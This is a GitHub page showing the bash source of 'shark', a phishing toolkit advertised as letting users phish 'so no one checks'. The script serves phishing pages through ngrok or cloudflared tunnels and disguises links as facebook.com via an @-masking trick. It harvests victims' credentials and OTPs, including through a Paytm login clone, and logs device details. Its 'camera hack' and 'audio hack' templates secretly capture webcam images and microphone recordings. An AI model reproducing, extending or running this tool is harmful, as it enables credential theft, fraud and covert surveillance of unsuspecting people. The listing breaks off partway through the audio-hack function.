-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathshark
1302 lines (1205 loc) · 41.5 KB
/
shark
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/bin/bash
##############################################
# #
# PROJECT: SHARK #
# SHARK ©2022-2023 #
# BEST PHISHING TOOLS BY #
# M r. J u i c e (Dev) #
# B h a v i k O z a (Publisher) #
# A s i f K h a n (debuger) #
##############################################
#########
# COLORS
#########
#colors
white="\033[1;37m" ##
grey="\033[0;37m" ##
purple="\033[1;35m" ##
red="\033[1;31m" ##
green="\033[1;32m" ##
yellow="\033[1;33m" ##
purple="\033[0;35m" ##
cyan="\033[0;36m" ##
cyan1="\033[1;36m" ##
cafe="\033[0;33m" ##
fiuscha="\033[0;35m" ##
blue="\033[1;34m" ##
l_red="\033[1;37;41m" ##
nc="\033[0m" ##
##########
# VERSION
##########
VERSION="2.5.1"
################
# PRINT MESSAGE
################
msg() {
printf "${green}[${white}+${green}] ${white}${1}\n${nc}"
}
norm_msg() {
printf "${green}${1}\n${nc}"
}
error_msg() {
printf "${red}[!] ${white}${1}\n${nc}"
}
ctrl-c_exit_SIGINT() {
{ printf "\n%s\n${red}[${white}!${red}]${red} Program Interrupted.\n\n" 2>&1; reset_color; }
exit 0
}
ctrl-d_exit_SIGTERM() {
{ printf "\n%s\n${red}[${white}!${red}]${red} Program Terminated.\n\n" 2>&1; reset_color; }
exit 0
}
trap ctrl-c_exit_SIGINT SIGINT
trap ctrl-d_exit_SIGTERM SIGTERM
reset_color() {
tput sgr0 # reset attributes
tput op # reset color
return
}
#######
# ARCH
#######
arch=`uname -m`
osnam=$(uname -o)
ArNam=$(dpkg --print-architecture)
#spinner
spinner() {
pid=$!
spin='\|/-'
i=0
tput civis
while kill -0 $pid 2>/dev/null
do
i=$(( (i+1) %4 ))
printf "\r${cyan1}[${spin:$i:1}]${nc} ${cyan1} $launch"
sleep .1
done
printf "\r ${green}[✔]${nc} ${green} $splashdown";echo
tput cnorm
}
#check root
function check_root() {
if [ "$(whoami &2>/dev/null)" != "root" ] && [ "$(id -un &2>/dev/null)" != "root" ];then
error_msg "Admin user detected\n"
error_msg "You must be root to run this script!\n"
error_msg "Use 'sudo !!'\n"
exit 1
fi
}
######
# USER
######
#####
# OS
#####
function os () {
cat /etc/os-release > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
BIN="/usr/bin"
phish="/usr/share/shark/phs"
logfile="$phish/"
#if logname = root then
# user_id="$(logname)"
files="$HOME/Desktop"
shark="/usr/share/shark"
old_shark="/usr/bin/shark"
OS=DEBIAN
check_root
else
BIN="${PREFIX}/bin"
phish="${PREFIX}/share/shark/phs"
logfile="$phish/"
files="/sdcard"
shark="${PREFIX}/share/shark"
old_shark="${PREFIX}/bin/shark"
OS=TERMUX
fi
}
function main_update() {
#launch="updating shark"
#splashdown="updated shark";echo
#os;(wget -q https://github.com/mrjuice01/shark01/raw/master/shark -O ${shark}/shark && rm -rf ${old_shark} && cp -rf ${shark}/shark $BIN && chmod 777 $BIN/shark) & spinner
echo
msg "update manually by installation command\n ~(check Official shark repo)"
sleep 2
echo
msg "Redirecting to Official shark repo..."
xdg-open 'https://github.com/mrjuice01/shark01'
exit 1
}
function update() {
version=$(curl -L -s https://raw.githubusercontent.com/mrjuice01/shark01/master/shark | grep -w "VERSION=" | head -n1)
latest_version=$(echo ${version} | sed -e 's/[^0-9]\+[^0-9]/ /g' | cut -d '"' -f1)
if [ "${1}" != "-u" ] || [ "${1}" != "--update" ]; then
[ ${latest_version} != ${VERSION} ] && echo && msg "shark update is available !!" && sleep 2.5 && echo && msg "Run shark -u , shark --update" && echo && exit 1;
fi
}
###########
# INTERNET
###########
#check ineternet connectivity for update
function internet() {
ping -c 1 google.com > /dev/null 2>&1
if [ $? -eq 0 -a ! "${1}" = "--update" ] && [ $? -eq 0 -a ! "$1" = "-u" ];then
update
fi
}
function connection() {
ping -c 1 google.com > /dev/null 2>&1
if [[ "$?" != 0 ]];then
error_msg "No internet"
exit 0
fi
}
function check_update() {
connection
version=$(curl -L -s https://raw.githubusercontent.com/mrjuice01/shark01/master/shark01 | grep -w "VERSION=" | head -n1)
latest_version=$(echo ${version} | sed -e 's/[^0-9]\+[^0-9]/ /g' | cut -d '"' -f1)
if [ ${latest_version} = ${VERSION} ];then
echo -e "\tReading \tpackage \tlists... \tDone
\tBuilding \tdependency \ttree
\tReading \tstate \tinformation... \tDone
\tshark \tis \talready \tthe \tnewest \tversion \t($VERSION)." | awk '{$1=$1};1'
exit 1
else
main_update
exit 1
fi
}
########
# USAGE
########
usage() {
cat <<EOF
Usage: $(basename $0) [OPTIONS] available
shark - future of phishing is here,
A shark is a tool that will help you \do Phishing \in an advanced way so no one checks and identify that you are doing phishing.
Options:
-u, --update update shark manually
-v, --version Display the current shark version installed on your device
-h, --help Print this help message
-a, --assist List detail discription of shark
-p, --purge Uninstall shark
--fix-ngrok Fix port forwarding issue
--fix-cloudfl Fix CloudFlared port forwarding issue
--fix-patches Check missing packages & fix patches
--fix-cloudshell Restart Vm and cloudshell & fix patches
For additional info, see: https://github.com/mrjuice01/shark01
EOF
}
function purge_shark() {
os;printf "${red} Do you wish to delete camera and audio files too ? y/n : ";read ans && [ "$ans" != "${ans#[Yy]}" ];rm -rf ${files}/Audio-Cam-hack.shark
rm -rf ${shark} ${old_shark}
}
function fix_patches() {
launch="fixing shark patches"
splashdown="shark patches fixed";echo
os;sed -i -e 's/\r$//' ${<}/setup
chmod 777 ${shark}/setup
(${shark}/setup > /dev/null 2&>1) & spinner
}
function assist() {
#put manpage in man dir later
os
man ${shark}/manpage
}
function fix_ngrok() {
#check for all arch
clear
cd $HOME
os;rm -f ${BIN}/ngrok
launch="fixing ngrok"
splashdown="fixed ngrok";echo
if [[ ("$arch" == 'arm') || ("$arch" == 'Android') ]]; then
ngrok_url="https://github.com/E343IO/stuff/raw/main/ngrok-2in1.zip"
elif [[ "$arch" == 'aarch64' ]]; then
if [[ "$ArNam" == 'amd64' ]]; then
ngrok_url="https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip"
else
ngrok_url="https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm64.zip"
fi
elif [[ "$arch" == 'x86_64' ]]; then
if [[ "$ArNam" == 'amd64' ]]; then
ngrok_url="https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip"
else
ngrok_url="https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm64.zip"
fi
else
ngrok_url="https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-386.zip"
fi
(wget --quiet ${ngrok_url} -O ngrok.zip) & spinner
unzip -q ngrok.zip && rm -rf ngrok.zip && chmod +x ngrok && mv ngrok $BIN
}
function fix_cloudflared() {
clear
cd $HOME
os;rm -rf ${BIN}/cloudflared && rm -rf ${logfile}.cloud.log
launch="fixing cloudflare.."
splashdown="cloudflare fixed"
if [[ ("$arch" == 'arm') || ("$arch" == 'Android') ]]; then
cloudd="https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-arm"
elif [[ "$arch" == 'aarch64' ]]; then
cloudd="https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-arm64"
elif [[ "$arch" == 'x86_64' ]]; then
if [[ "$ArNam" == 'amd64' ]]; then
cloudd="https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64"
else
cloudd="https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-arm64"
fi
else
cloudd="https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-386"
fi
(wget --quiet ${cloudd} -O cloudflared) & spinner
chmod +x cloudflared && mv cloudflared $BIN
}
function fix_cloudshell() {
os;man ${shark}/cloudshell
}
###########
# OPTS ARG
###########
#getopts argument
while true; do
case "$1" in
-u|--update)
check_update
;;
-h|--help)
usage
exit 1
;;
-v|--version)
printf ".beta v$VERSION\n"
exit 1
;;
-p|--purge)
purge_shark
exit 1
;;
-a|--assist)
assist
exit 1
;;
--fix-patches)
fix_patches
exit 1
;;
--fix-ngrok)
fix_ngrok
exit 1
;;
--fix-cloudfl)
fix_cloudflared
exit 1
;;
--fix-cloudshell)
fix_cloudshell
exit 1
;;
-*)
echo "ERROR: unknown option '$1'" 1>&2
echo "see '--help' for usage" 1>&2
exit 1
;;
*)
f=$1
break
;;
esac
shift
done
##############
# MAIN DRIVER
##############
# CHECK FILE
file_check() {
[ ! -d "${files}/Audio-Cam-hack.shark" ] && mkdir -p ${files}/Audio-Cam-hack.shark
}
#catch_ip camera
catch_ip() {
ip=$(grep -a 'IP:' ip.txt | cut -d " " -f2 | tr -d '\r')
IFS=$'\n'
printf "${green}[${white}+${green}] ${yellow}IP:${white} %s ${nc} \n" $ip
cat ip.txt >> saved.ip.txt
}
# KILL NGROK
function kill_session() {
#kill_ngrok="$(ps -efw | grep ngrok | grep -v grep | awk '{print $2}')"
#kill -9 ${kill_php} > /dev/null 2>&1
#kill -9 ${kill_ngrok} > /dev/null 2>&1
killall -KILL ngrok php cloudflared &>/dev/null
}
function url_checker() {
if [ ! "${1//:*}" = http ]; then
if [ ! "${1//:*}" = https ]; then
echo
printf "${red} Invalid URL. Please use http or https. \n "
exit 1
fi
fi
}
# URL_SHORTNER
function url_shortner() {
rm -rf uri.log
#short=$(curl -s http://tny.im/yourls-api.php?action=shorturl\&format=simple\&url=${ngrok_url})
#short=$(curl -s https://vurl.com/api.php?url=${ngrok_url})
derek=$(curl -s https://is.gd/create.php\?format\=simple\&url=${link})
#checking for is.gd is working or not.
if [[ $derek == https://is.gd/[-0-9a-zA-Z]* ]]; then
shorter=${derek#https://}
else
#short=$(curl -s https://soo.gd/api.php?url=${link})
curl -s https://api.shrtco.de/v2/shorten?url=${link} >> log.URI
grep -o 'https:[^"]*' log.URI >> bURI
rm log.URI
sed 's/\\//g' bURI >> uri.log
rm bURI
short=$(grep -o 'https://9qr.de/[-0-9a-zA-Z]*' "uri.log")
shorter=${short#https://}
fi
read -p $'\n\033[1;92mshark \033[1;97m>> \033[1;37mMask Your url domain here \033[1;93m(Ex. https://facebook.com) :\e[0m ' mask
url_checker $mask
printf "${green}shark ${white}>> ${white}Enter your key words ${yellow}: Ex. free-insta-followers\n"
printf "${green}shark ${white}>> ${white}Don't use space in your words\n"
read -p $'\e[1;92mshark \033[1;97m>> \e[1;37mEnter your words here :\e[0m ' words
final_url=$mask-$words@$shorter
printf "$final_url\n"
}
# ASK FOR URL MODIFICATION
function askuri() {
echo
echo
if [[ $link != "" ]]; then
printf "${yellow}Your Link :-${cyan1} $link\n${yellow}
Do You Want To Modify This Url?${red} (Y/N) : ${nc}"
read uri
if [[ $uri == "Y" || $uri == "y" ]]; then
url_shortner
elif [[ $uri == "N" || $uri == "n" ]]; then
echo
final_url="You Haven't Modify URL!!!"
else
echo
error_msg "bro you type wrong..."
askuri
fi
else
clear
echo
printf "${red}Please Try again...Server Down!!!"
sleep 2
clear
prt
fi
}
# MAIN
function main() {
HOST="127.0.0.1"
echo
read -p $'\e[1;32m\e[96m Do You want to enter port?\e[1;91m (Y/N): ' drk
if [[ $drk == y || $drk == Y ]]; then
echo ""
read -n4 -p $'\e[1;32m\e[96m Please Enter Your Port \e[1;92mEx.3246: \e[0m' PORT
if [[ ${PORT} -ge 1024 && ${PORT} =~ ^([1-9][0-9][0-9][0-9])$ ]]; then
if [[ $p == "s" ]]; then
main2
elif [[ $p == "S" ]]; then
launch="starting shark server"; splashdown="started shark server";printf "\n"; connection;php -S "$HOST":"$PORT" > /dev/null 2>&1 & sleep 2; ngrok http "$HOST":"$PORT" > /dev/null 2>&1 & sleep 20 & spinner;link=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[-0-9a-z]*\.ngrok.io");askuri;
else
final_url="Nothing to Modify localhost"
link="http://${HOST}:$PORT"
launch="starting shark server"; splashdown="started shark server";printf "\n"; connection; php -S "$HOST":"$PORT" &>/dev/null &
fi
else
echo
echo -e ${red}"Invalid PORT : $PORT, Try Again!!"
echo
echo -e ${green}"Continue From oPtion No.: $option"
sleep 2
main
fi
elif [[ $drk == n || $drk == N ]]; then
PORT="8828"
if [[ $p == "s" ]]; then
echo
msg "Your Default Port is $PORT !${white} \n"
sleep 2
main2
elif [[ $p == "S" ]]; then
echo
msg "Your Default Port is $PORT !${white} \n"
sleep 2
launch="starting shark server"; splashdown="started shark server";printf "\n"; connection;php -S "$HOST":"$PORT" > /dev/null 2>&1 & sleep 2; ngrok http "$HOST":"$PORT" > /dev/null 2>&1 & sleep 20 & spinner;link=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[-0-9a-z]*\.ngrok.io");askuri;
else
final_url="Nothing to modify localhost."
link="http://${HOST}:$PORT"
launch="starting shark server"; splashdown="started shark server";printf "\n"; php -S "$HOST":"$PORT" &> /dev/null &
fi
else
echo
error_msg "bro you type wrong..."
sleep 2
main
fi
}
function redirc() {
if [ -f otp.login.php ]; then
echo
printf "${cyan}Are you going to use 2-step-verification [otp phish]? (Y/N) : "
read stpver
if [[ $stpver == "Y" || $stpver == "y" ]]; then
echo
FILE="${YOTPF}"
OtP="0101010101"
redrkask
elif [[ $stpver == "N" || $stpver == "n" ]]; then
oldy="otp.login.php"
FILE="${NOTPF}"
OtP="01010101"
redrkask
else
echo
error_msg "Somthing went wrong!!!"
sleep 2
exit 1
fi
else
echo
fi
}
function redrkask() {
echo
printf "${yellow}${ysite}${cyan1} Redirect Option !!!\n${yellow}
Do You Want To Redirect Url?${red} (Y/N) : ${nc}"
read ansm
if [[ $ansm == "N" || $ansm == "n" ]]; then
echo
msg "Your Redirect URL Is Set As Default (Google)"
relink="https://google.com"
rm -rf drk
mkdir drk
cp -R * drk &>/dev/null
cd drk
rm -rf drk/
sed -i -e s,"$oldy","$relink",g $FILE
elif [[ $ansm == "y" || $ansm == "Y" ]]; then
redrk
else
echo
error_msg "Somthing went wrong!!! try again!"
sleep 2
redrkask
fi
}
function redrk() {
echo
read -p $'\e[1;32m Enter URL To Redirect Victim ex.[https://yoursite.com]: \e[0m' relink
url_checker $relink
rm -rf drk/
mkdir drk
cp -R * drk &>/dev/null
cd drk
rm -rf drk/
sed -i -e s,"$oldy","$relink",g $FILE
}
function old() {
if [[ -e log.txt || -e dumpip.txt ]]; then
rm -rf dumpip.txt filter.txt log.txt
fi
#if [[ -e log.txt ]]; then
# rm -rf "usernames log.txt" && touch log.txt
# sed -i "1i <?php include 'ip.php'; ?>" index.*
#fi
}
function main2() {
if [[ -e ${logfile}.cloud.log ]]; then
rm -rf ${logfile}.cloud.log
touch ${logfile}.cloud.log
fi
if [[ `command -v termux-chroot` || "$osnam" == "Android" ]]; then
launch="starting shark server"; splashdown="started shark server";printf "\n"; connection;php -S "$HOST":"$PORT" > /dev/null 2>&1 & sleep 2; termux-chroot cloudflared tunnel --url "$HOST":"$PORT" --logfile ${logfile}.cloud.log > /dev/null 2>&1 & sleep 5 & spinner;
else
launch="starting shark server"; splashdown="started shark server";printf "\n"; connection;php -S "$HOST":"$PORT" > /dev/null 2>&1 & sleep 2; cloudflared tunnel --url "$HOST":"$PORT" --logfile ${logfile}.cloud.log > /dev/null 2>&1 & sleep 5 & spinner;
fi
link=$(grep -o 'https://[-0-9a-z]*\.trycloudflare.com' "${logfile}.cloud.log");askuri;
}
function prt() {
clear
printf "
${red} ░██████╗██╗░░██╗░█████╗░██████╗░██╗░░██╗
${nc} ██╔════╝██║░░██║██╔══██╗██╔══██╗██║░██╔╝
${yellow} ╚█████╗░███████║███████║██████╔╝█████═╝░
${green} ░╚═══██╗██╔══██║██╔══██║██╔══██╗██╔═██╗░
${blue} ██████╔╝██║░░██║██║░░██║██║░░██║██║░╚██╗
${purple} ╚═════╝░╚═╝░░╚═╝╚═╝░░╚═╝╚═╝░░╚═╝╚═╝░░╚═╝ ${yellow}.beta v${VERSION}\n\n"
printf "${red}[A]$cafe :${green} ngrok $cafe\e[0;33m[\e[0;31mGoogle Alert!\e[0;33m]
${red}[B]$cafe :${green} cloudflare $cafe\e[0;33m[\e[0;32mNEW!\e[0;33m]
${red}[D]$cafe :${green} localhost $cafe\e[0;33m[\e[0;34mFor Devs!\e[0;33m]
\n\n"
read -p $'\e[1;32m\e[94m Please enter your Option (A/B/D) : ' portfrd
if [[ $portfrd == "A" || $portfrd == "a" || $portfrd == "ngrok" ]]; then
p="S"
if [ -e ${BIN}/ngrok ];then
echo
msg "ngrok is already installed."
if [[ ! -e $HOME/.ngrok2 ]]; then
echo ""
read -p $'\e[1;33m Please Enter Your ngrok authtoken without "./"\n\n\e[0m./ngrok authtoken ' auth
if [[ ! ${auth} =~ ^([0-9a-zA-Z]*[_][0-9a-zA-Z])$ ]]; then
echo ""
error_msg "it seems quit empty try again!"
sleep 4
prt
else
ngrok authtoken ${auth}
clear
msg "Authtoken Verified."
sleep 2
prt
fi
else
echo ""
msg "Authtoken Verified."
sleep 3
fi
sleep 1
if [[ $valu != "19" ]]; then
if [[ $reddc == "TRUE" ]];then
redrkask
main
else
redirc
main
fi
else
main
fi
else
echo
error_msg " ngrok is not install yet!"
sleep 2
echo ""
msg "Preparing fix's ...\n"
sleep 5
fix_ngrok
decne
fi
elif [[ $portfrd == "b" || $portfrd == "B" || $portfrd == "cloudflare" ]]; then
p="s"
if [ -e ${BIN}/cloudflared ]; then
echo
msg " cloudflare is already installed."
sleep 1
if [[ $valu != "19" ]]; then
if [[ $reddc == "TRUE" ]]; then
redrkask
main
else
redirc
main
fi
else
main
fi
else
echo
error_msg " cloudflare is not installed yet!\n"
sleep 2
msg "Preparing fix's ...\n"
sleep 5
echo
fix_cloudflared
decne
fi
elif [[ $portfrd == "D" || $portfrd == "d" || $portfrd == "localhost" ]];then
p="d"
redirc
old
main
credentials && ipinfo
else
echo
echo
error_msg "bro you type wrong...\n"
error_msg "try again!!\n"
sleep 3
prt
fi
}
function ipcatch() {
ip=$( egrep '(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))' dumpip.txt | cut -d " " -f2 | tr -d '\r')
IFS=$'\n'
KL=$(sed -n 's/ip://p' dumpip.txt)
ua=$(grep 'User-Agent:' dumpip.txt | cut -d '"' -f2)
if [[ $KL != "" ]]; then
printf "${yellow}[${green}•${yellow}] ${cyan1}Device IP : ${nc}$KL\n\n"
fi
echo -e "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] UA: \e[0m$ua\e[0m\e[1;77m\e[0m\n"
chk=$(fmt -20 dumpip.txt)
sch=$(echo "$chk" > filter.txt)
D=$(sed -n '5p' filter.txt | cut -d"(" -f2 | cut -d";" -f1)
E=$(sed -n '6p' filter.txt | cut -d"(" -f2 | cut -d";" -f1)
R=$(sed -n '7p' filter.txt | cut -d";" -f2 | cut -d")" -f1)
E=$(sed -n '11p' filter.txt | cut -d "/" -f1)
K=$(sed -n '11p' filter.txt | cut -d " " -f2 | cut -d"/" -f2)
U=$(sed -n '12p' filter.txt | cut -d"(" -f2 | cut -d")" -f1)
echo -e "\e[1;92m[\e[0m\e[1;34m•\e[0m\e[1;92m] Kernel:\e[1;0m $D\e[0m"
echo -e "\e[1;92m[\e[0m\e[1;34m•\e[0m\e[1;92m] Os:\e[1;0m $E\e[0m"
echo -e "\e[1;92m[\e[0m\e[1;34m•\e[0m\e[1;92m] Model:\e[1;0m $R\e[0m"
echo -e "\e[1;92m[\e[0m\e[1;34m•\e[0m\e[1;92m] Browser:\e[0m $E\e[0m"
echo -e "\e[1;92m[\e[0m\e[1;34m•\e[0m\e[1;92m] Version:\e[1;0m $K\e[0m"
echo -e "\e[1;92m[\e[0m\e[1;34m•\e[0m\e[1;92m] Device:\e[1;0m $U"
cat dumpip.txt >> ../.ipdump.txt
echo "$KL" >> ../.dumplog.txt
rm -rf dumpip.txt filter.txt
echo ""
msg "Waiting for Victim's files or Credentials..."
}
snt() {
if [[ "$option" == "31" ]]; then
echo -e "\e[1;92m[\e[0m\e[1;34m¤\e[0m\e[1;92m] Cam File Received!"
mv *.png ${files}/Audio-Cam-hack.shark/
fi
if [[ "$option" == "32" ]]; then
echo -e "\e[1;92m[\e[0m\e[1;34m¤\e[0m\e[1;92m] Audio File Received!"
ffmpeg -i *.wav -acodec mp3 *.mp3 &> /dev/null
mv *.mp3 ${files}/Audio-Cam-hack.shark/
echo ""
echo -e "\e[1;92m[\e[0m\e[1;34m+\e[0m\e[1;92m] Command To play audio:- play <path-to-file.mp3>\n"
fi
}
function ipinfo() {
echo
if [[ -e ../.dumplog.txt ]]; then
CRD1=$(cat ../.dumplog.txt)
msg "Your Old Credentials :\n$CRD1\n"
fi
printf "${yellow}[•] Waiting for Victim's Device info...\n\n"
while true; do
if [[ -f "dumpip.txt" ]]; then
echo ''
msg "Victim's I.P F O U N D "
echo ''
printf "${green}[*] Info Found\n\n"
sleep 0.75
ipcatch
fi
if [[ -e "log.txt" ]]; then
echo ''
msg "Victim's Credentials Found."
CRD=$(cat log.txt)
echo -e "\e[1;92m[\e[0m\e[1;34m•\e[0m\e[1;92m] Credentials: $CRD"
cat log.txt >> ../.dumplog.txt
rm -rf log.txt
echo ""
msg "Waiting for next Device, press CTRL + C for exit..."
fi
if [[ -e "Log.log" ]]; then
rm Log.log
echo ""
snt
echo ""
echo -e "\e[1;92m[\e[0m\e[1;34m•\e[0m\e[1;92m] File Location : ${files}/Audio-Cam-hack.shark"
echo ""
msg "Waiting for next file, press CTRL + C for exit..."
fi
done
}
#banner2
banner2() {
printf "\n${green}
╔════════════════════════════════════╗
║${white} ╔═╗┬─┐┌─┐┌┬┐┌─┐┌┐┌┌┬┐┬┌─┐┬ ┌─┐${green} ║
║${white} ║ ├┬┘├┤ ││├┤ │││ │ │├─┤│ └─┐${green} ║
║${white} ╚═╝┴└─└─┘─┴┘└─┘┘└┘ ┴ ┴┴ ┴┴─┘└─┘${green} ║
╚════════════════════════════════════╝
Shark beta : ${white}v${VERSION}${green}
Reborn by : ${white}Mr.Derek(E343IO)${green} •
Publisher : ${white}Bhavik Oza${green} •
Author : ${white}Ashish Singh${green} •
${yellow}Note : help us by giving your feedback
》 ${cyan1}${final_url}${yellow} 《 MODIFIED URL.
or
》 ${cyan1}${link}${yellow} 《 ORIGINAL URL.\n
\e[38;5;214m ░▒▓█ ░▒▓█▓▒░▒▓█▓▒░▒▓\e[1;34m░▒▓█ ░▒▓█▓▒░▒▓█▓▒░▒▓\e[1;92m░▒▓█ ░▒▓█▓▒░▒▓█▓▒░▒▓${cyan1}\n\n"
}
#credentials
function credentials() {
clear
banner2
}
#Paytm
function paytm() {
printf "\n${green}[${white}1${green}]${white} Sign In \n\n"
printf "${green}[${white}2${green}]${white} Sign Up \n\n"
read -p $'\e[1;92mshark \e[1;37m>> Enter Your Choice : \e[0m' option1
if [ $option1 = 1 ] || [ $option1 = 01 ]; then
cd paytm/ && prt
credentials
tail -f log.txt ip.txt | grep -e "email" -e "username" -e "password" -e "otp"
else
cd signup/ && prt
credentials
tail -f log.txt ip.txt | grep -e "email" -e "loginPassword" -e "mobileNumber" -e "otp"
fi
}
#CAMERA HACK
function camera_hack() {
clear
printf "\n\e[1;4;92mChoose Your Tempelates\e[0m\n\n"
printf "${green}[${white}1${green}]${white} Diwali \n\n";printf "${green}[${white}2${green}]${white} Freindship Dare \n\n";printf "${green}[${white}3${green}]${white} Freindship Day \n\n";printf "${green}[${white}4${green}]${white} New Year \n\n";printf "${green}[${white}5${green}]${white} Jio Offfer \n\n"
read -p $'\e[1;92mshark\e[1;37m >>\e[0m ' page
#link=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[0-9a-z]*\.ngrok.io")
case $page in
1)
source="diwali.html"
;;
2)
source="freindship_dare.html"
;;
3)
source="freinship_day.html"
;;
4)
source="happy_new_year.html"
;;
5)
source="jio_offer.html"
;;
esac
# link=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[0-9a-z]*\.ngrok.io")
old && rm -rf .drk/
mkdir .drk/
cp -R * .drk/
cd .drk/ && rm -rf .drk/
prt
sed 's+forwarding_link+'$link'+g' ${source} > index2.html;sed 's+forwarding_link+'$link'+g' template.php > index.php
credentials
sleep 0.5
ipinfo
}
# Voice Hack
function audio_hack() {
old && rm -rf .drk/
mkdir .drk
cp -R * .drk/
cd .drk/ && rm -rf .drk/
default_redirect="https://google.com"
printf "\n${green}[${white}+${green}] Choose a distracting website ${white}(Default: https://google.com) : " $default_redirect && read redirect_link
redirect_link="${redirect_link:-${default_redirect}}";
